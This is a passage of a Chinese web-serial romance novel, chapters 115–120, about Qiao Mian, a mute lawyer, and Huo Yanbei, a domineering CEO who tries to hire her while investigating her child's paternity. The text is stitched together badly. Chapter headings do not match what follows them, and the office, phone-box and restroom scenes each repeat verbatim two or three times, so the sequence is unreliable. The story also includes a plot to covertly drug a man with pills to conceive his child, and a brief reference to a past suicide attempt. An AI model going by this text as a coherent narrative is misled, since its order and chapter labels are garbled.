当年,她割腕自杀,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第115章 他说,和孩子们等她回家 乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第116章 他逼问的秘密 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第117章 是他的孩子吗? 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经死了。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕自杀,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第118章 对她的占有欲 陈珂从文件袋里拿出另一份资料,“霍总,这是乔眠七年前在沪城医院生孩子的住院信息,所以,孩子是七年前生的,那时候的霍妩小姐,除了在学校上课,平时都陪在您身边,是不可能生孩子。” 霍宴北拿起资料,一页一页仔细翻看了一遍后,沉闷的摁着又开始隐隐作痛的脑袋,“所以……即便乔眠是阿妩,这孩子野也和我没关系……” 陈珂叹了一声,“霍总,其实,这份资料也充分证明乔眠根本不是霍妩小姐,因为,七年前,乔眠在沪城生孩子,而霍妩小姐在京市,这两条时间线完全搭不上。” 陈珂解释的很清楚。 霍宴北听得也很明白。 所以,所有的巧合,真的只是巧合吗? 可是,为什么,他心里总觉得哪里不对…… 沉默了良久,他仰脸靠躺在座椅背上,骨节分明的手指按压着胀痛的太阳穴,问道,“乔眠的孩子的爸爸查到是谁了吗?” 陈珂心里直打哆嗦,“只查到乔眠十六七岁就离开孤儿院独立了,去过很多地方,并没有固定的交际圈,所以,暂时没查到乔眠的前男友是谁……” 霍宴北眉头一拧,“一个人待过哪里,总会有痕迹,她从孤儿院出去独立,上的什么大学,租过的房子,认识她的老师同学,这些总能查到吧?” “是,我已经命人在查了,只是……” 陈珂抹了一把脑门上冒出的冷汗,“要查证这些,需要时间……” “尽快。” 霍宴北寒声命令。 陈珂忙道,“是。” 陈珂走后,霍宴北沉闷的坐了许久,准备起身去浴室洗澡时,书房的门被人叩响。 他走过去打开门,看到宋蔓站在门口时,淡声问,“有事?” 宋蔓莞尔,“没事,就是看到陈珂来了,我担心是不是公司出什么事了,过来问下。” “没什么大事。” 霍宴北看了一眼腕表,“时间不早了,早点休息吧。” “宴北……” 宋蔓走进来,一双柔软的手臂抱住了男人的腰,“我想今晚留下来陪你……” 霍宴北攥住她的一双手腕,轻轻拿开,“宋蔓,你的心思不应该放在我身上。” 宋蔓委屈的咬紧了唇,“宴北,你现在是不是喜欢上了乔眠?” 提及乔眠,霍宴北脸上的表情才有了一丝波动,“她只是我的下属。” 如果硬要给乔眠定义一个身份,好像只有下属这个身份。 至于喜欢与不喜欢,他不清楚。 但他清楚的知道,每次看着她,总能在她身上看到阿妩的影子。 哪怕吻着她,他心里想的还是阿妩。 这种情感复杂,又割裂。 甚至会让他失控,发疯的想要占有她、掌控她。 就像今天下午在车里,他对她产生了生理性占有欲…… 想到这些,霍宴北心里沉闷的像是压着一块巨石。 而宋蔓偏又在这个节骨眼提出一个要求:“宴北,既然你只拿乔眠当一个普通下属,那能不能让她离开霍氏?” 霍宴北郁结的情绪,因这一句话,脸色一瞬间沉了下去。 “为什么要乔眠离开霍氏?” 男人声音冷峻,明显听出一丝不满。 即便预料到他会生气,宋蔓还是继续道,“自从乔眠来到霍氏以后,发生了许多事情,都和她有关系,宴北,我觉得乔眠会把你从我身边抢走,我更怕你把她当成第二个霍妩妹妹。” 说到这里,宋蔓提醒道,“宴北,霍妩妹妹已经死了,我知道你愧疚自责,但是,乔眠根本不是她,比起一个女人的嫉妒,我最不希望看到的是你一直放不下过去。” 这些话,都是她的肺腑之言。 可是,霍宴北听后,眼神一下子变得无比冰冷,薄唇紧紧抿成一条直线,“她没做错什么,我没有理由让她离开霍氏,至于你说的其他的问题,都是我个人问题,与乔眠无关,以后我不想再听到任何类似今天的话。” 他言语中带着不容置喙的警告。 宋蔓还想再说什么,霍宴北没再给她开口的机会,冷声道,“时间不早了,早点回房休息吧。” 宋蔓不敢再惹他生气,但是心里又很委屈。 最后,红着眼睛,走出了书房。 回到卧房后,蒋芸看到她一脸垂头丧气的模样,有些恨铁不成钢的戳了下她的脑袋,“他不同意乔眠离开霍氏,是吧?” 宋蔓一脸忧伤的点点头。 “他不仅不答应把乔眠踢出公司,还让我以后不许再过问他的事情。” 说到这里,宋蔓委屈的掉了一滴眼泪,看向蒋芸抱怨,“小姨,今晚是我最后一次努力和他好好谈的,但是,他的心思根本不在我身上,完全不听我的提议。” “我早就说了,你就算去求他把乔眠踢出公司,他未必会答应,这男人一旦新鲜上一个女人,十匹马都拉不回来。” 蒋芸说着扎心的话,但很快就安抚宋蔓道,“蔓蔓,你再低三下四也没用,还是那句话,只要你给霍家生下一个儿子,即便霍宴北身边有一百个乔眠,你的地位也没人撼动的了。” 说罢,蒋芸把一小瓶药塞给宋蔓,“听小姨的,这是你想要在霍家稳固地位的唯一办法。” 宋蔓攥着药瓶,心里开始有些忐忑,“这药伤身体吗?” “放心吧,不会。” 蒋芸安抚她:“一定要找个合适的时机再用这个,知道吗?” “嗯……” 宋蔓想到再有几天就是月底了。 京大百年校庆典礼这天,晚上定有晚宴聚会,正是好时机。 …… 第二天周日。 乔眠躺在床上一点儿都不想动弹。 一夜失眠,早上才眯了一会儿。 阮薇已经把早餐做好了,见她还赖床,准备把她从床上薅起来时,乔眠的手机响了。 看到屏幕的来电是阮院长时,她立马从床上坐了起来,按了接听键。 并开了免提。 “眠眠,昨天下午又有人查你,连医院的档案病历档案也被调走了,是谁在查你,知道吗?” 第119章 去办离职手续 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经死了。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕自杀,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第120章 知道她离职后发怒 前些天,霍宴北给了她一份劳务合同,如果她从荣华离职的话,让她留在霍氏。 这件事,除了陈珂,应该没人知道。 可刚才听韩主任的意思,好像知道这事…… 可是,她的疑惑,却被韩东平轻飘飘的说辞打发了。 “小乔,你也太神经过敏了。” “霍总之前点名让你去霍氏,我就看出来他看重你,如果你想要留在霍氏,霍总肯定巴不得呢!我这么想,有问题吗?” 乔眠还是觉得哪里怪怪的,具体也说不清楚。 但她还是明确摆出了态度,“我不会留在霍氏的。” “真够倔强的。” 韩东平沉重的叹了一声,一只手搭过来时,被乔眠冷冷躲开了。 韩东平挑了下眉,“小乔,好歹我们师徒一场,我是真的很关心你。” “多谢,没什么事情,我走了。” 语落,不等对方开口说话,转身离开了。 韩东平关上办公室的门,急忙掏出手机,拨了一通电话。 “温董,乔律师今天来所里了,她还真准备了六十万违约金,您看,她的离职手续还要一直压着吗?” “废话!乔眠现在是霍总看上的人,如果真的让乔眠离职的话,明年还能不能跟霍氏的合作续约就另说了,重点是,如果我们放人,回头霍总怪罪下来可怎么办?” 温董完全从利益角度分析。 韩东平:“可是,一直压着离职手续也不是办法啊,下次乔眠再来所里问离职手续,我可找不到理由搪塞啊。” 那边沉默了数秒后,温董回了一句,“我看啊,乔律师离职这件事,务必得给霍氏通个消息,看霍总什么意思吧。” “对对对,这件事,还是得让霍总做决定才好,省的我们最后两边不是人。” 说到这里,他忽然想起什么,汇报道,“前几天,霍总让陈特助专门来了一趟所里,了解乔眠的合同问题,我当时愣是忍住了,没敢把乔眠要离职一事说出去,而且我挺陈特助的意思是,以后要让乔眠正式入职霍氏呢。” 温董呵笑一声,“看来霍总是真的要定了乔眠,那乔眠私下要离职一事,是绝对要跟霍总知会一声了。” …… 乔眠离开荣华律所后,第一时间给沪城的总部律所人事部打了一个电话。 求证离职手续一事。 人事部的说辞和韩东平如出一辙。 说是温董出差了,需要等温董回来后,亲自签字后,才能推进下一步。 她不死心,给温董打了一个电话。 但是,迟迟无人接听。 她只好作罢,坐地铁回霍氏。 到公司时,赶上午休时间。 何眉和孟白已经去吃饭了。 乔眠坐在工位上,思来想去,还是决定给同尘律所的岳臣发了一条微信,说明离职手续没有办妥,还需要等几天。 过了好一会儿,对方回复,【不急,等乔律师什么时候办完离职手续,随时可以来同尘律所上班。】 【谢谢谅解。】 回完微信后,乔眠起身准备去十七楼食堂用餐时,周津南从里间办公室出来,径直走到她办公桌前站定,“正好我也没吃饭,一起吃个饭吧?” 乔眠莞尔,“好。” 两人并肩走到电梯口等电梯时,对面的专用电梯门开了。 霍宴北和陈珂走了出来。 他似乎刚到公司,手里提着一个公文包。 迎面撞上,乔眠只得开口打招呼,“霍总。” 周津南亦是颔首,唤了一声霍总。 “周总监即将离职了,还要跟下属搞好关系?” 这句话冷嘲热讽的,乔眠听着很不舒服。 但周津南情绪稳定,淡声道,“霍总多虑了,我不过是和乔律师一起出去吃个饭。” 霍宴北没有说话,冷着脸回到了办公室。 想到她又和周津南走的这么近,霍宴北心里就像塞了一块棉花。 上下去下来。 正在这时,他接了一个电话。 沉静的听完对方说完后,脸色瞬间冷了下来。 